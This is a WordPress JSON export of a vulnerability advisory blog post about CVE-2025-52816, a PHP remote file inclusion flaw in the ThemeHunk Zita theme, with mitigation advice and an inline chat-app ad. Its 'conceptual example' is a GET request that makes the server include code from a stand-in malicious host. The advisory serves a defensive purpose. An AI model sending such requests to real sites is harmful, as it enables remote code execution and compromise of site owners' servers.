{"id":57863,"date":"2025-07-06T15:41:22","date_gmt":"2025-07-06T15:41:22","guid":{"rendered":""},"modified":"2025-10-02T00:14:40","modified_gmt":"2025-10-02T06:14:40","slug":"cve-2025-52816-php-remote-file-inclusion-vulnerability-in-themehunk-zita","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52816-php-remote-file-inclusion-vulnerability-in-themehunk-zita\/","title":{"rendered":"<strong>CVE-2025-52816: PHP Remote File Inclusion Vulnerability in ThemeHunk Zita<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-52816 is a critical cybersecurity vulnerability that affects the ThemeHunk Zita theme for WordPress websites. It involves an Improper Control of Filename for Include\/Require Statement in PHP Program, often referred to as &#8216;PHP Remote File Inclusion&#8217;. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64427\">vulnerability can lead to potential system<\/a> compromise or data leakage, making it a significant concern for website owners and developers who utilize the Zita theme. Given the vast number of WordPress websites on the internet today, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58280-object-heap-address-exposure-vulnerability-in-ark-ets\/\"  data-wpil-monitor-id=\"87284\">vulnerability could have widespread implications if not addressed<\/a> promptly.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52816<br \/>\nSeverity: High &#8211; 8.1 (CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64814\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-333458330\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ThemeHunk Zita | <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55010-arbitrary-php-object-instantiation-in-kanboard-prior-to-version-1-2-47\/\"  data-wpil-monitor-id=\"77892\">Versions prior<\/a> to 1.6.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64904\">vulnerability exists due to an improper<\/a> control of filename for Include\/Require Statement in the PHP program of the ThemeHunk Zita theme. An attacker can exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48921-cross-site-request-forgery-vulnerability-in-drupal-open-social\/\"  data-wpil-monitor-id=\"65007\">vulnerability by sending a specially-crafted request<\/a> to the website running on the vulnerable theme. The attacker can include a reference to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64594\">remote file that contains malicious PHP code<\/a>. When processed by the server, this code will be executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64595\">potentially leading to system compromise or data leakage<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-958380219\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. Note that this is a conceptual code and may not work as is.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/malicious-website.com\/malicious-code.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this example, the attacker is exploiting the &#8216;page&#8217; parameter to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/\"  data-wpil-monitor-id=\"65793\">remote file<\/a> (malicious-code.txt) hosted on a malicious website. When this request is processed by the server, the malicious PHP code within the included <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64478\">file will be executed<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4334-critical-privilege-escalation-vulnerability-in-simple-user-registration-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"64946\">ThemeHunk<\/a> Zita theme are strongly advised to update to the latest version to address this vulnerability. If this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to block <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53314-high-severity-cross-site-request-forgery-csrf-vulnerability-in-sh1zen-wp-optimizer\/\"  data-wpil-monitor-id=\"65584\">requests that attempt to exploit this vulnerability<\/a>. However, these are only temporary solutions and upgrading to the patched version is the recommended course of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7734-critical-gitlab-ce-ee-vulnerability-allows-unauthorized-actions-by-attackers\/\"  data-wpil-monitor-id=\"79528\">action to fully mitigate this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-52816 is a critical cybersecurity vulnerability that affects the ThemeHunk Zita theme for WordPress websites. It involves an Improper Control of Filename for Include\/Require Statement in PHP Program, often referred to as &#8216;PHP Remote File Inclusion&#8217;. The vulnerability can lead to potential system compromise or data leakage, making it a significant concern for website [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57863","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57863","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57863"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57863\/revisions"}],"predecessor-version":[{"id":80126,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57863\/revisions\/80126"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57863"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57863"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57863"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57863"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57863"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57863"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57863"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57863"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57863"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}